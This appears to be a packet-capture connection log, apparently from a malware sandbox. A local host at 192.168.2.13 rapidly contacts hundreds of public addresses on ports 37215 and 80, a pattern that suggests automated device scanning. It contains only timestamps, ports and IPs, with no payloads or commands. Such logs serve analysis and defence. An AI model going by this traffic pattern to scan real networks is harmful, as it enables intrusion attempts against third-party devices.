Jul 20, 2024 23:00:58.757320881 CEST	41716	37215	192.168.2.13	197.168.76.154
Jul 20, 2024 23:00:58.757922888 CEST	80	38744	88.182.133.26	192.168.2.13
Jul 20, 2024 23:00:58.757978916 CEST	38744	80	192.168.2.13	88.182.133.26
Jul 20, 2024 23:00:58.758657932 CEST	37215	50918	157.245.110.242	192.168.2.13
Jul 20, 2024 23:00:58.758729935 CEST	50918	37215	192.168.2.13	157.245.110.242
Jul 20, 2024 23:00:58.759011984 CEST	40410	37215	192.168.2.13	157.108.71.72
Jul 20, 2024 23:00:58.760097027 CEST	54918	80	192.168.2.13	88.151.199.19
Jul 20, 2024 23:00:58.760530949 CEST	37215	44478	41.185.235.4	192.168.2.13
Jul 20, 2024 23:00:58.760590076 CEST	44478	37215	192.168.2.13	41.185.235.4
Jul 20, 2024 23:00:58.760890961 CEST	44818	37215	192.168.2.13	197.145.183.59
Jul 20, 2024 23:00:58.761730909 CEST	80	51374	88.229.144.100	192.168.2.13
Jul 20, 2024 23:00:58.761773109 CEST	51374	80	192.168.2.13	88.229.144.100
Jul 20, 2024 23:00:58.762217045 CEST	37215	41716	197.168.76.154	192.168.2.13
Jul 20, 2024 23:00:58.762263060 CEST	41716	37215	192.168.2.13	197.168.76.154
Jul 20, 2024 23:00:58.762402058 CEST	58098	37215	192.168.2.13	197.124.222.24
Jul 20, 2024 23:00:58.763506889 CEST	41712	80	192.168.2.13	88.239.53.105
Jul 20, 2024 23:00:58.763911009 CEST	37215	40410	157.108.71.72	192.168.2.13
Jul 20, 2024 23:00:58.763951063 CEST	40410	37215	192.168.2.13	157.108.71.72
Jul 20, 2024 23:00:58.764269114 CEST	32872	37215	192.168.2.13	106.174.68.245
Jul 20, 2024 23:00:58.765109062 CEST	80	54918	88.151.199.19	192.168.2.13
Jul 20, 2024 23:00:58.765151978 CEST	54918	80	192.168.2.13	88.151.199.19
Jul 20, 2024 23:00:58.765810013 CEST	60718	37215	192.168.2.13	197.190.172.118
Jul 20, 2024 23:00:58.766057968 CEST	37215	44818	197.145.183.59	192.168.2.13
Jul 20, 2024 23:00:58.766117096 CEST	44818	37215	192.168.2.13	197.145.183.59
Jul 20, 2024 23:00:58.766890049 CEST	37750	80	192.168.2.13	88.39.208.120
Jul 20, 2024 23:00:58.767759085 CEST	37215	58098	197.124.222.24	192.168.2.13
Jul 20, 2024 23:00:58.767796040 CEST	58098	37215	192.168.2.13	197.124.222.24
Jul 20, 2024 23:00:58.767838001 CEST	58506	37215	192.168.2.13	157.15.177.153
Jul 20, 2024 23:00:58.768661022 CEST	80	41712	88.239.53.105	192.168.2.13
Jul 20, 2024 23:00:58.768704891 CEST	41712	80	192.168.2.13	88.239.53.105
Jul 20, 2024 23:00:58.769256115 CEST	37215	32872	106.174.68.245	192.168.2.13
Jul 20, 2024 23:00:58.769268036 CEST	49466	37215	192.168.2.13	157.231.126.250
Jul 20, 2024 23:00:58.769309998 CEST	32872	37215	192.168.2.13	106.174.68.245
Jul 20, 2024 23:00:58.770389080 CEST	51362	80	192.168.2.13	88.79.104.187
Jul 20, 2024 23:00:58.771025896 CEST	37215	60718	197.190.172.118	192.168.2.13
Jul 20, 2024 23:00:58.771049023 CEST	51402	37215	192.168.2.13	157.213.124.92
Jul 20, 2024 23:00:58.771070004 CEST	60718	37215	192.168.2.13	197.190.172.118
Jul 20, 2024 23:00:58.771930933 CEST	80	37750	88.39.208.120	192.168.2.13
Jul 20, 2024 23:00:58.771976948 CEST	37750	80	192.168.2.13	88.39.208.120
Jul 20, 2024 23:00:58.772789001 CEST	56970	37215	192.168.2.13	192.48.206.157
Jul 20, 2024 23:00:58.772967100 CEST	37215	58506	157.15.177.153	192.168.2.13
Jul 20, 2024 23:00:58.773024082 CEST	58506	37215	192.168.2.13	157.15.177.153
Jul 20, 2024 23:00:58.775099993 CEST	37215	49466	157.231.126.250	192.168.2.13
Jul 20, 2024 23:00:58.775599003 CEST	80	51362	88.79.104.187	192.168.2.13
Jul 20, 2024 23:00:58.776108027 CEST	37215	51402	157.213.124.92	192.168.2.13
Jul 20, 2024 23:00:58.777771950 CEST	37215	56970	192.48.206.157	192.168.2.13
Jul 20, 2024 23:00:58.784903049 CEST	51402	37215	192.168.2.13	157.213.124.92
Jul 20, 2024 23:00:58.792887926 CEST	51362	80	192.168.2.13	88.79.104.187
Jul 20, 2024 23:00:58.794114113 CEST	49466	37215	192.168.2.13	157.231.126.250
Jul 20, 2024 23:00:58.800607920 CEST	56970	37215	192.168.2.13	192.48.206.157
Jul 20, 2024 23:00:58.802342892 CEST	60274	80	192.168.2.13	88.109.221.124
Jul 20, 2024 23:00:58.807898998 CEST	80	60274	88.109.221.124	192.168.2.13
Jul 20, 2024 23:00:58.807955980 CEST	60274	80	192.168.2.13	88.109.221.124
Jul 20, 2024 23:00:58.810075998 CEST	59660	37215	192.168.2.13	114.116.15.132
Jul 20, 2024 23:00:58.811912060 CEST	40354	37215	192.168.2.13	157.1.12.172
Jul 20, 2024 23:00:58.812999964 CEST	40136	80	192.168.2.13	88.123.9.155
Jul 20, 2024 23:00:58.813813925 CEST	58342	37215	192.168.2.13	67.164.145.87
Jul 20, 2024 23:00:58.815341949 CEST	37215	59660	114.116.15.132	192.168.2.13
Jul 20, 2024 23:00:58.815393925 CEST	59660	37215	192.168.2.13	114.116.15.132
Jul 20, 2024 23:00:58.815774918 CEST	33556	37215	192.168.2.13	157.220.78.185
Jul 20, 2024 23:00:58.816967010 CEST	43272	80	192.168.2.13	88.95.27.60
Jul 20, 2024 23:00:58.817048073 CEST	37215	40354	157.1.12.172	192.168.2.13
Jul 20, 2024 23:00:58.817107916 CEST	40354	37215	192.168.2.13	157.1.12.172
Jul 20, 2024 23:00:58.818064928 CEST	80	40136	88.123.9.155	192.168.2.13
Jul 20, 2024 23:00:58.818124056 CEST	40136	80	192.168.2.13	88.123.9.155
Jul 20, 2024 23:00:58.818164110 CEST	52342	37215	192.168.2.13	157.110.69.240
Jul 20, 2024 23:00:58.819641113 CEST	37268	37215	192.168.2.13	41.152.229.173
Jul 20, 2024 23:00:58.820168018 CEST	37215	58342	67.164.145.87	192.168.2.13
Jul 20, 2024 23:00:58.820207119 CEST	58342	37215	192.168.2.13	67.164.145.87
Jul 20, 2024 23:00:58.820635080 CEST	37215	33556	157.220.78.185	192.168.2.13
Jul 20, 2024 23:00:58.820712090 CEST	33556	37215	192.168.2.13	157.220.78.185
Jul 20, 2024 23:00:58.820837975 CEST	50200	80	192.168.2.13	88.232.188.222
Jul 20, 2024 23:00:58.821719885 CEST	49736	37215	192.168.2.13	65.79.209.34
Jul 20, 2024 23:00:58.822247982 CEST	80	43272	88.95.27.60	192.168.2.13
Jul 20, 2024 23:00:58.822290897 CEST	43272	80	192.168.2.13	88.95.27.60
Jul 20, 2024 23:00:58.823388100 CEST	37215	52342	157.110.69.240	192.168.2.13
Jul 20, 2024 23:00:58.823404074 CEST	50030	37215	192.168.2.13	157.207.241.220
Jul 20, 2024 23:00:58.823443890 CEST	52342	37215	192.168.2.13	157.110.69.240
Jul 20, 2024 23:00:58.824481010 CEST	57602	80	192.168.2.13	88.183.147.254
Jul 20, 2024 23:00:58.824587107 CEST	37215	37268	41.152.229.173	192.168.2.13
Jul 20, 2024 23:00:58.824634075 CEST	37268	37215	192.168.2.13	41.152.229.173
Jul 20, 2024 23:00:58.825309992 CEST	32838	37215	192.168.2.13	41.150.219.200
Jul 20, 2024 23:00:58.825917006 CEST	80	50200	88.232.188.222	192.168.2.13
Jul 20, 2024 23:00:58.825958014 CEST	50200	80	192.168.2.13	88.232.188.222
Jul 20, 2024 23:00:58.826958895 CEST	47944	37215	192.168.2.13	41.143.52.237
Jul 20, 2024 23:00:58.828115940 CEST	33026	80	192.168.2.13	88.208.128.4
Jul 20, 2024 23:00:58.829035997 CEST	32816	37215	192.168.2.13	41.4.10.141
Jul 20, 2024 23:00:58.829173088 CEST	37215	49736	65.79.209.34	192.168.2.13
Jul 20, 2024 23:00:58.829252958 CEST	49736	37215	192.168.2.13	65.79.209.34
Jul 20, 2024 23:00:58.830753088 CEST	37640	37215	192.168.2.13	157.171.167.12
Jul 20, 2024 23:00:58.831868887 CEST	43868	80	192.168.2.13	88.133.183.152
Jul 20, 2024 23:00:58.832741022 CEST	53836	37215	192.168.2.13	157.231.4.197
Jul 20, 2024 23:00:58.834403038 CEST	45338	37215	192.168.2.13	41.44.46.164
Jul 20, 2024 23:00:58.835561991 CEST	39846	80	192.168.2.13	88.194.51.20
Jul 20, 2024 23:00:58.835859060 CEST	37215	50030	157.207.241.220	192.168.2.13
Jul 20, 2024 23:00:58.835915089 CEST	50030	37215	192.168.2.13	157.207.241.220
Jul 20, 2024 23:00:58.836116076 CEST	80	57602	88.183.147.254	192.168.2.13
Jul 20, 2024 23:00:58.836215019 CEST	57602	80	192.168.2.13	88.183.147.254
Jul 20, 2024 23:00:58.836426973 CEST	37215	32838	41.150.219.200	192.168.2.13
Jul 20, 2024 23:00:58.836469889 CEST	56172	37215	192.168.2.13	41.255.114.202
Jul 20, 2024 23:00:58.836510897 CEST	32838	37215	192.168.2.13	41.150.219.200
Jul 20, 2024 23:00:58.836519003 CEST	37215	47944	41.143.52.237	192.168.2.13
Jul 20, 2024 23:00:58.836570024 CEST	80	33026	88.208.128.4	192.168.2.13
Jul 20, 2024 23:00:58.836606026 CEST	33026	80	192.168.2.13	88.208.128.4
Jul 20, 2024 23:00:58.836711884 CEST	37215	32816	41.4.10.141	192.168.2.13
Jul 20, 2024 23:00:58.836740017 CEST	37215	37640	157.171.167.12	192.168.2.13
Jul 20, 2024 23:00:58.836774111 CEST	47944	37215	192.168.2.13	41.143.52.237
Jul 20, 2024 23:00:58.836780071 CEST	32816	37215	192.168.2.13	41.4.10.141
Jul 20, 2024 23:00:58.836780071 CEST	37640	37215	192.168.2.13	157.171.167.12
Jul 20, 2024 23:00:58.837865114 CEST	80	43868	88.133.183.152	192.168.2.13
Jul 20, 2024 23:00:58.837908983 CEST	43868	80	192.168.2.13	88.133.183.152
Jul 20, 2024 23:00:58.838943958 CEST	50462	37215	192.168.2.13	157.161.52.19
Jul 20, 2024 23:00:58.840112925 CEST	53522	80	192.168.2.13	88.146.249.166
Jul 20, 2024 23:00:58.840986013 CEST	38068	37215	192.168.2.13	37.50.200.38
Jul 20, 2024 23:00:58.842636108 CEST	37320	37215	192.168.2.13	197.204.98.25
Jul 20, 2024 23:00:58.843080997 CEST	37215	53836	157.231.4.197	192.168.2.13
Jul 20, 2024 23:00:58.843121052 CEST	37215	45338	41.44.46.164	192.168.2.13
Jul 20, 2024 23:00:58.843173981 CEST	45338	37215	192.168.2.13	41.44.46.164
Jul 20, 2024 23:00:58.843255997 CEST	53836	37215	192.168.2.13	157.231.4.197
Jul 20, 2024 23:00:58.843844891 CEST	80	39846	88.194.51.20	192.168.2.13
Jul 20, 2024 23:00:58.843873024 CEST	37215	56172	41.255.114.202	192.168.2.13
Jul 20, 2024 23:00:58.843874931 CEST	52048	80	192.168.2.13	88.25.193.103
Jul 20, 2024 23:00:58.843884945 CEST	39846	80	192.168.2.13	88.194.51.20
Jul 20, 2024 23:00:58.843940020 CEST	56172	37215	192.168.2.13	41.255.114.202
Jul 20, 2024 23:00:58.844094992 CEST	37215	50462	157.161.52.19	192.168.2.13
Jul 20, 2024 23:00:58.844424009 CEST	50462	37215	192.168.2.13	157.161.52.19
Jul 20, 2024 23:00:58.844783068 CEST	33654	37215	192.168.2.13	110.202.3.118
Jul 20, 2024 23:00:58.844937086 CEST	80	53522	88.146.249.166	192.168.2.13
Jul 20, 2024 23:00:58.844981909 CEST	53522	80	192.168.2.13	88.146.249.166
Jul 20, 2024 23:00:58.846124887 CEST	37215	38068	37.50.200.38	192.168.2.13
Jul 20, 2024 23:00:58.846179008 CEST	38068	37215	192.168.2.13	37.50.200.38
Jul 20, 2024 23:00:58.846443892 CEST	54950	37215	192.168.2.13	157.230.111.60
Jul 20, 2024 23:00:58.847441912 CEST	37215	37320	197.204.98.25	192.168.2.13
Jul 20, 2024 23:00:58.847484112 CEST	37320	37215	192.168.2.13	197.204.98.25
Jul 20, 2024 23:00:58.847702026 CEST	49774	80	192.168.2.13	88.92.101.150
Jul 20, 2024 23:00:58.850095034 CEST	39924	80	192.168.2.13	88.12.158.127
Jul 20, 2024 23:00:58.852391958 CEST	53922	80	192.168.2.13	88.5.120.65
Jul 20, 2024 23:00:58.853070974 CEST	80	52048	88.25.193.103	192.168.2.13
Jul 20, 2024 23:00:58.853239059 CEST	52048	80	192.168.2.13	88.25.193.103
Jul 20, 2024 23:00:58.854425907 CEST	37215	33654	110.202.3.118	192.168.2.13
Jul 20, 2024 23:00:58.854480982 CEST	37215	54950	157.230.111.60	192.168.2.13
Jul 20, 2024 23:00:58.854510069 CEST	80	49774	88.92.101.150	192.168.2.13
Jul 20, 2024 23:00:58.854526997 CEST	54950	37215	192.168.2.13	157.230.111.60
Jul 20, 2024 23:00:58.854549885 CEST	49774	80	192.168.2.13	88.92.101.150
Jul 20, 2024 23:00:58.854671001 CEST	33654	37215	192.168.2.13	110.202.3.118
Jul 20, 2024 23:00:58.854720116 CEST	38350	80	192.168.2.13	88.241.177.22
Jul 20, 2024 23:00:58.855191946 CEST	80	39924	88.12.158.127	192.168.2.13
Jul 20, 2024 23:00:58.855263948 CEST	39924	80	192.168.2.13	88.12.158.127
Jul 20, 2024 23:00:58.857053041 CEST	49246	80	192.168.2.13	88.85.121.11
Jul 20, 2024 23:00:58.857436895 CEST	80	53922	88.5.120.65	192.168.2.13
Jul 20, 2024 23:00:58.857482910 CEST	53922	80	192.168.2.13	88.5.120.65
Jul 20, 2024 23:00:58.859283924 CEST	40586	80	192.168.2.13	88.228.89.154
Jul 20, 2024 23:00:58.859869003 CEST	80	38350	88.241.177.22	192.168.2.13
Jul 20, 2024 23:00:58.859920979 CEST	38350	80	192.168.2.13	88.241.177.22
Jul 20, 2024 23:00:58.861502886 CEST	53510	80	192.168.2.13	88.36.60.173
Jul 20, 2024 23:00:58.862018108 CEST	80	49246	88.85.121.11	192.168.2.13
Jul 20, 2024 23:00:58.862072945 CEST	49246	80	192.168.2.13	88.85.121.11
Jul 20, 2024 23:00:58.863631964 CEST	52180	80	192.168.2.13	88.193.78.207
Jul 20, 2024 23:00:58.864233971 CEST	80	40586	88.228.89.154	192.168.2.13
Jul 20, 2024 23:00:58.864286900 CEST	40586	80	192.168.2.13	88.228.89.154
Jul 20, 2024 23:00:58.865397930 CEST	34700	37215	192.168.2.13	197.209.60.212
Jul 20, 2024 23:00:58.866671085 CEST	53528	80	192.168.2.13	88.180.85.169
Jul 20, 2024 23:00:58.866871119 CEST	80	53510	88.36.60.173	192.168.2.13
Jul 20, 2024 23:00:58.866914988 CEST	53510	80	192.168.2.13	88.36.60.173
Jul 20, 2024 23:00:58.867146015 CEST	54514	37215	192.168.2.13	41.150.243.200
Jul 20, 2024 23:00:58.868431091 CEST	80	52180	88.193.78.207	192.168.2.13
Jul 20, 2024 23:00:58.868480921 CEST	52180	80	192.168.2.13	88.193.78.207
Jul 20, 2024 23:00:58.869286060 CEST	54336	37215	192.168.2.13	197.70.102.93
Jul 20, 2024 23:00:58.870402098 CEST	37215	34700	197.209.60.212	192.168.2.13
Jul 20, 2024 23:00:58.870452881 CEST	34700	37215	192.168.2.13	197.209.60.212
Jul 20, 2024 23:00:58.870544910 CEST	35776	80	192.168.2.13	88.224.163.182
Jul 20, 2024 23:00:58.870883942 CEST	50040	37215	192.168.2.13	41.186.86.221
Jul 20, 2024 23:00:58.871572018 CEST	80	53528	88.180.85.169	192.168.2.13
Jul 20, 2024 23:00:58.871754885 CEST	53528	80	192.168.2.13	88.180.85.169
Jul 20, 2024 23:00:58.872308016 CEST	37215	54514	41.150.243.200	192.168.2.13
Jul 20, 2024 23:00:58.872368097 CEST	54514	37215	192.168.2.13	41.150.243.200
Jul 20, 2024 23:00:58.872931004 CEST	58760	37215	192.168.2.13	52.138.177.196
Jul 20, 2024 23:00:58.874272108 CEST	49000	80	192.168.2.13	88.191.94.94
Jul 20, 2024 23:00:58.874658108 CEST	41822	37215	192.168.2.13	157.181.146.64
Jul 20, 2024 23:00:58.876096964 CEST	37215	54336	197.70.102.93	192.168.2.13
Jul 20, 2024 23:00:58.876116037 CEST	80	35776	88.224.163.182	192.168.2.13
Jul 20, 2024 23:00:58.876141071 CEST	54336	37215	192.168.2.13	197.70.102.93
Jul 20, 2024 23:00:58.876183987 CEST	35776	80	192.168.2.13	88.224.163.182
Jul 20, 2024 23:00:58.876218081 CEST	37215	50040	41.186.86.221	192.168.2.13
Jul 20, 2024 23:00:58.876257896 CEST	50040	37215	192.168.2.13	41.186.86.221
Jul 20, 2024 23:00:58.876633883 CEST	43748	37215	192.168.2.13	183.18.158.37
Jul 20, 2024 23:00:58.877897978 CEST	47492	80	192.168.2.13	88.194.253.45
Jul 20, 2024 23:00:58.878324032 CEST	58158	37215	192.168.2.13	157.138.203.32
Jul 20, 2024 23:00:58.878530979 CEST	37215	58760	52.138.177.196	192.168.2.13
Jul 20, 2024 23:00:58.878587008 CEST	58760	37215	192.168.2.13	52.138.177.196
Jul 20, 2024 23:00:58.879936934 CEST	80	49000	88.191.94.94	192.168.2.13
Jul 20, 2024 23:00:58.879987955 CEST	49000	80	192.168.2.13	88.191.94.94
Jul 20, 2024 23:00:58.880068064 CEST	37215	41822	157.181.146.64	192.168.2.13
Jul 20, 2024 23:00:58.880147934 CEST	41822	37215	192.168.2.13	157.181.146.64
Jul 20, 2024 23:00:58.880359888 CEST	53236	37215	192.168.2.13	2.69.54.160
Jul 20, 2024 23:00:58.881788969 CEST	37215	43748	183.18.158.37	192.168.2.13
Jul 20, 2024 23:00:58.881834030 CEST	43748	37215	192.168.2.13	183.18.158.37
Jul 20, 2024 23:00:58.881947994 CEST	38254	80	192.168.2.13	88.72.140.110
Jul 20, 2024 23:00:58.882071018 CEST	60186	37215	192.168.2.13	41.237.188.97
Jul 20, 2024 23:00:58.884155035 CEST	39592	37215	192.168.2.13	157.156.49.184
Jul 20, 2024 23:00:58.885445118 CEST	53464	80	192.168.2.13	88.42.182.254
Jul 20, 2024 23:00:58.885740995 CEST	44740	37215	192.168.2.13	197.238.40.168
Jul 20, 2024 23:00:58.887588978 CEST	80	47492	88.194.253.45	192.168.2.13
Jul 20, 2024 23:00:58.887603045 CEST	37215	58158	157.138.203.32	192.168.2.13
Jul 20, 2024 23:00:58.887638092 CEST	47492	80	192.168.2.13	88.194.253.45
Jul 20, 2024 23:00:58.887649059 CEST	58158	37215	192.168.2.13	157.138.203.32
Jul 20, 2024 23:00:58.887695074 CEST	60170	37215	192.168.2.13	197.17.13.19
Jul 20, 2024 23:00:58.887865067 CEST	37215	53236	2.69.54.160	192.168.2.13
Jul 20, 2024 23:00:58.887908936 CEST	80	38254	88.72.140.110	192.168.2.13
Jul 20, 2024 23:00:58.887923002 CEST	37215	60186	41.237.188.97	192.168.2.13
Jul 20, 2024 23:00:58.888047934 CEST	53236	37215	192.168.2.13	2.69.54.160
Jul 20, 2024 23:00:58.888047934 CEST	60186	37215	192.168.2.13	41.237.188.97
Jul 20, 2024 23:00:58.888338089 CEST	38254	80	192.168.2.13	88.72.140.110
Jul 20, 2024 23:00:58.889211893 CEST	46268	80	192.168.2.13	88.56.0.126
Jul 20, 2024 23:00:58.889451027 CEST	37215	39592	157.156.49.184	192.168.2.13
Jul 20, 2024 23:00:58.889611959 CEST	42662	37215	192.168.2.13	157.222.199.50
Jul 20, 2024 23:00:58.889620066 CEST	39592	37215	192.168.2.13	157.156.49.184
Jul 20, 2024 23:00:58.890563011 CEST	80	53464	88.42.182.254	192.168.2.13
Jul 20, 2024 23:00:58.890642881 CEST	53464	80	192.168.2.13	88.42.182.254
Jul 20, 2024 23:00:58.890990019 CEST	37215	44740	197.238.40.168	192.168.2.13
Jul 20, 2024 23:00:58.891055107 CEST	44740	37215	192.168.2.13	197.238.40.168
Jul 20, 2024 23:00:58.891753912 CEST	48244	37215	192.168.2.13	157.45.88.204
Jul 20, 2024 23:00:58.893043041 CEST	59120	80	192.168.2.13	88.207.103.153
Jul 20, 2024 23:00:58.893452883 CEST	58998	37215	192.168.2.13	41.79.63.222
Jul 20, 2024 23:00:58.893758059 CEST	37215	60170	197.17.13.19	192.168.2.13
Jul 20, 2024 23:00:58.893802881 CEST	60170	37215	192.168.2.13	197.17.13.19
Jul 20, 2024 23:00:58.895406008 CEST	39112	37215	192.168.2.13	145.185.248.183
Jul 20, 2024 23:00:58.895498037 CEST	80	46268	88.56.0.126	192.168.2.13
Jul 20, 2024 23:00:58.895548105 CEST	46268	80	192.168.2.13	88.56.0.126
Jul 20, 2024 23:00:58.895862103 CEST	37215	42662	157.222.199.50	192.168.2.13
Jul 20, 2024 23:00:58.895931959 CEST	42662	37215	192.168.2.13	157.222.199.50
Jul 20, 2024 23:00:58.896650076 CEST	54332	80	192.168.2.13	88.175.159.46
Jul 20, 2024 23:00:58.897064924 CEST	39374	37215	192.168.2.13	41.194.84.193
Jul 20, 2024 23:00:58.898274899 CEST	37215	48244	157.45.88.204	192.168.2.13
Jul 20, 2024 23:00:58.898313999 CEST	48244	37215	192.168.2.13	157.45.88.204
Jul 20, 2024 23:00:58.898339033 CEST	80	59120	88.207.103.153	192.168.2.13
Jul 20, 2024 23:00:58.898384094 CEST	59120	80	192.168.2.13	88.207.103.153
Jul 20, 2024 23:00:58.898708105 CEST	37215	58998	41.79.63.222	192.168.2.13
Jul 20, 2024 23:00:58.898749113 CEST	58998	37215	192.168.2.13	41.79.63.222
Jul 20, 2024 23:00:58.899266958 CEST	49998	37215	192.168.2.13	197.54.41.117
Jul 20, 2024 23:00:58.900343895 CEST	37215	39112	145.185.248.183	192.168.2.13
Jul 20, 2024 23:00:58.900397062 CEST	39112	37215	192.168.2.13	145.185.248.183
Jul 20, 2024 23:00:58.900485992 CEST	44902	80	192.168.2.13	88.43.79.4
Jul 20, 2024 23:00:58.900942087 CEST	57934	37215	192.168.2.13	41.114.67.30
Jul 20, 2024 23:00:58.901622057 CEST	80	54332	88.175.159.46	192.168.2.13
Jul 20, 2024 23:00:58.901675940 CEST	54332	80	192.168.2.13	88.175.159.46
Jul 20, 2024 23:00:58.902271032 CEST	37215	39374	41.194.84.193	192.168.2.13
Jul 20, 2024 23:00:58.902318954 CEST	39374	37215	192.168.2.13	41.194.84.193
Jul 20, 2024 23:00:58.902884007 CEST	42974	37215	192.168.2.13	157.11.177.150
Jul 20, 2024 23:00:58.904124975 CEST	38874	80	192.168.2.13	88.46.94.155
Jul 20, 2024 23:00:58.904149055 CEST	37215	49998	197.54.41.117	192.168.2.13
Jul 20, 2024 23:00:58.904244900 CEST	49998	37215	192.168.2.13	197.54.41.117
Jul 20, 2024 23:00:58.904556036 CEST	56090	37215	192.168.2.13	220.90.88.236
Jul 20, 2024 23:00:58.905448914 CEST	80	44902	88.43.79.4	192.168.2.13
Jul 20, 2024 23:00:58.905589104 CEST	44902	80	192.168.2.13	88.43.79.4
Jul 20, 2024 23:00:58.905993938 CEST	37215	57934	41.114.67.30	192.168.2.13
Jul 20, 2024 23:00:58.906034946 CEST	57934	37215	192.168.2.13	41.114.67.30
Jul 20, 2024 23:00:58.906495094 CEST	38854	37215	192.168.2.13	203.129.114.89
Jul 20, 2024 23:00:58.907800913 CEST	59832	80	192.168.2.13	88.144.5.185
Jul 20, 2024 23:00:58.907804966 CEST	37215	42974	157.11.177.150	192.168.2.13
Jul 20, 2024 23:00:58.907869101 CEST	42974	37215	192.168.2.13	157.11.177.150
Jul 20, 2024 23:00:58.908552885 CEST	42216	37215	192.168.2.13	197.73.217.175
Jul 20, 2024 23:00:58.909076929 CEST	80	38874	88.46.94.155	192.168.2.13
Jul 20, 2024 23:00:58.909123898 CEST	38874	80	192.168.2.13	88.46.94.155
Jul 20, 2024 23:00:58.909425974 CEST	37215	56090	220.90.88.236	192.168.2.13
Jul 20, 2024 23:00:58.909478903 CEST	56090	37215	192.168.2.13	220.90.88.236
Jul 20, 2024 23:00:58.910314083 CEST	35044	37215	192.168.2.13	197.35.252.89
Jul 20, 2024 23:00:58.911587954 CEST	56422	80	192.168.2.13	88.149.225.52
Jul 20, 2024 23:00:58.912017107 CEST	40934	37215	192.168.2.13	197.16.131.86
Jul 20, 2024 23:00:58.912457943 CEST	37215	38854	203.129.114.89	192.168.2.13
Jul 20, 2024 23:00:58.912580013 CEST	38854	37215	192.168.2.13	203.129.114.89
Jul 20, 2024 23:00:58.912727118 CEST	80	59832	88.144.5.185	192.168.2.13
Jul 20, 2024 23:00:58.912769079 CEST	59832	80	192.168.2.13	88.144.5.185
Jul 20, 2024 23:00:58.913505077 CEST	37215	42216	197.73.217.175	192.168.2.13
Jul 20, 2024 23:00:58.913604975 CEST	42216	37215	192.168.2.13	197.73.217.175
Jul 20, 2024 23:00:58.914020061 CEST	59386	37215	192.168.2.13	41.222.221.26
Jul 20, 2024 23:00:58.915246010 CEST	32884	80	192.168.2.13	88.254.213.91
Jul 20, 2024 23:00:58.915716887 CEST	43002	37215	192.168.2.13	157.180.195.105
Jul 20, 2024 23:00:58.916282892 CEST	37215	35044	197.35.252.89	192.168.2.13
Jul 20, 2024 23:00:58.916443110 CEST	35044	37215	192.168.2.13	197.35.252.89
Jul 20, 2024 23:00:58.917125940 CEST	80	56422	88.149.225.52	192.168.2.13
Jul 20, 2024 23:00:58.917387962 CEST	56422	80	192.168.2.13	88.149.225.52
Jul 20, 2024 23:00:58.917727947 CEST	33242	37215	192.168.2.13	41.62.99.32
Jul 20, 2024 23:00:58.917829990 CEST	37215	40934	197.16.131.86	192.168.2.13
Jul 20, 2024 23:00:58.917876005 CEST	40934	37215	192.168.2.13	197.16.131.86
Jul 20, 2024 23:00:58.919095039 CEST	35232	80	192.168.2.13	88.100.181.189
Jul 20, 2024 23:00:58.919353962 CEST	55466	37215	192.168.2.13	41.70.65.103
Jul 20, 2024 23:00:58.920135021 CEST	37215	59386	41.222.221.26	192.168.2.13
Jul 20, 2024 23:00:58.920190096 CEST	59386	37215	192.168.2.13	41.222.221.26
Jul 20, 2024 23:00:58.921149969 CEST	80	32884	88.254.213.91	192.168.2.13
Jul 20, 2024 23:00:58.921192884 CEST	32884	80	192.168.2.13	88.254.213.91
Jul 20, 2024 23:00:58.921518087 CEST	35422	37215	192.168.2.13	157.106.231.112
Jul 20, 2024 23:00:58.921732903 CEST	37215	43002	157.180.195.105	192.168.2.13
Jul 20, 2024 23:00:58.921812057 CEST	43002	37215	192.168.2.13	157.180.195.105
Jul 20, 2024 23:00:58.922646046 CEST	34262	80	192.168.2.13	88.144.101.120
Jul 20, 2024 23:00:58.923077106 CEST	56484	37215	192.168.2.13	197.112.125.91
Jul 20, 2024 23:00:58.923619986 CEST	37215	33242	41.62.99.32	192.168.2.13
Jul 20, 2024 23:00:58.923676014 CEST	33242	37215	192.168.2.13	41.62.99.32
Jul 20, 2024 23:00:58.925025940 CEST	46612	37215	192.168.2.13	20.222.215.240
Jul 20, 2024 23:00:58.925167084 CEST	80	35232	88.100.181.189	192.168.2.13
Jul 20, 2024 23:00:58.925229073 CEST	35232	80	192.168.2.13	88.100.181.189
Jul 20, 2024 23:00:58.925307989 CEST	37215	55466	41.70.65.103	192.168.2.13
Jul 20, 2024 23:00:58.925364971 CEST	55466	37215	192.168.2.13	41.70.65.103
Jul 20, 2024 23:00:58.926258087 CEST	40790	80	192.168.2.13	88.88.172.117
Jul 20, 2024 23:00:58.926664114 CEST	37234	37215	192.168.2.13	86.82.54.225
Jul 20, 2024 23:00:58.926960945 CEST	37215	35422	157.106.231.112	192.168.2.13
Jul 20, 2024 23:00:58.927006960 CEST	35422	37215	192.168.2.13	157.106.231.112
Jul 20, 2024 23:00:58.927872896 CEST	80	34262	88.144.101.120	192.168.2.13
Jul 20, 2024 23:00:58.927920103 CEST	34262	80	192.168.2.13	88.144.101.120
Jul 20, 2024 23:00:58.928432941 CEST	37215	56484	197.112.125.91	192.168.2.13
Jul 20, 2024 23:00:58.928497076 CEST	56484	37215	192.168.2.13	197.112.125.91
Jul 20, 2024 23:00:58.928726912 CEST	57130	37215	192.168.2.13	41.187.2.103
Jul 20, 2024 23:00:58.929981947 CEST	51688	80	192.168.2.13	88.36.251.157
Jul 20, 2024 23:00:58.930198908 CEST	37215	46612	20.222.215.240	192.168.2.13
Jul 20, 2024 23:00:58.930268049 CEST	46612	37215	192.168.2.13	20.222.215.240
Jul 20, 2024 23:00:58.930377960 CEST	54018	37215	192.168.2.13	46.185.21.147
Jul 20, 2024 23:00:58.931169987 CEST	80	40790	88.88.172.117	192.168.2.13
Jul 20, 2024 23:00:58.931210041 CEST	40790	80	192.168.2.13	88.88.172.117
Jul 20, 2024 23:00:58.931657076 CEST	37215	37234	86.82.54.225	192.168.2.13
Jul 20, 2024 23:00:58.931708097 CEST	37234	37215	192.168.2.13	86.82.54.225
Jul 20, 2024 23:00:58.932477951 CEST	59968	37215	192.168.2.13	157.184.88.81
Jul 20, 2024 23:00:58.933748007 CEST	37215	57130	41.187.2.103	192.168.2.13
Jul 20, 2024 23:00:58.933804989 CEST	57130	37215	192.168.2.13	41.187.2.103
Jul 20, 2024 23:00:58.933872938 CEST	50962	80	192.168.2.13	88.62.196.103
Jul 20, 2024 23:00:58.934263945 CEST	49894	37215	192.168.2.13	114.104.89.214
Jul 20, 2024 23:00:58.935691118 CEST	80	51688	88.36.251.157	192.168.2.13
Jul 20, 2024 23:00:58.935746908 CEST	51688	80	192.168.2.13	88.36.251.157
Jul 20, 2024 23:00:58.936270952 CEST	37215	54018	46.185.21.147	192.168.2.13
